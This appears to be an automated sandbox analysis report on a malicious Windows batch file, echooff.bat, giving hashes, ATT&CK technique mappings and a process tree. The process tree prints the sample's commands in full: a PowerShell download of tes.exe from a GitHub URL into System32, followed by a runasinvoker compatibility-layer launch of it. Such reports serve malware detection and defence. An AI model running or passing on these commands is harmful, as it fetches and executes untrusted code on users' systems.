fb4ce395283d4dcc0632cddf7ab374aff3e3a03e2871364ea419ddc8deecaad4

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03/03/2025, 20:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

echooff.bat
Size

809B
MD5

da0c105256eccbca5772fb173b5a313f
SHA1

db0583cd2282aec4f414763cf22d677ec7073f76
SHA256

fb4ce395283d4dcc0632cddf7ab374aff3e3a03e2871364ea419ddc8deecaad4
SHA512

ea2b97998c20ed28f874b83bd15fccfd82dc34a6655988d121c833e5c0352cb4d23c4be1312c0a6863d3629a7d8957de2560fc9be42dfe22c375f937ccee894d

Score

8^/10

defense_evasion execution privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2524	powershell.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
2304	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2524	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2524	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2056	2384	cmd.exe	31
PID 2384 wrote to memory of 2056	2384	cmd.exe	31
PID 2384 wrote to memory of 2056	2384	cmd.exe	31
PID 2056 wrote to memory of 2052	2056	cmd.exe	32
PID 2056 wrote to memory of 2052	2056	cmd.exe	32
PID 2056 wrote to memory of 2052	2056	cmd.exe	32
PID 2056 wrote to memory of 2160	2056	cmd.exe	33
PID 2056 wrote to memory of 2160	2056	cmd.exe	33
PID 2056 wrote to memory of 2160	2056	cmd.exe	33
PID 2384 wrote to memory of 2524	2384	cmd.exe	34
PID 2384 wrote to memory of 2524	2384	cmd.exe	34
PID 2384 wrote to memory of 2524	2384	cmd.exe	34
PID 2384 wrote to memory of 2304	2384	cmd.exe	35
PID 2384 wrote to memory of 2304	2384	cmd.exe	35
PID 2384 wrote to memory of 2304	2384	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\echooff.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\Pictures\My Wallpaper.jpg" MD5 | find /i "MD5 hash"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\Pictures\My Wallpaper.jpg" MD5
    3⤵
    PID:2052
- - C:\Windows\system32\find.exe
    find /i "MD5 hash"
    3⤵
    PID:2160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/main/tes.exe' -OutFile 'C:\Windows\System32\tes.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2524
- C:\Windows\system32\cmd.exe
  cmd /min /C "set __COMPAT_LAYER=runasinvoker && start "" "C:\Windows\System32\tes.exe"
  2⤵
  - Access Token Manipulation: Create Process with Token
  PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2524-4-0x000007FEF614E000-0x000007FEF614F000-memory.dmp

Filesize
4KB

Download
memory/2524-7-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2524-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2524-9-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-8-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-10-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2524-11-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download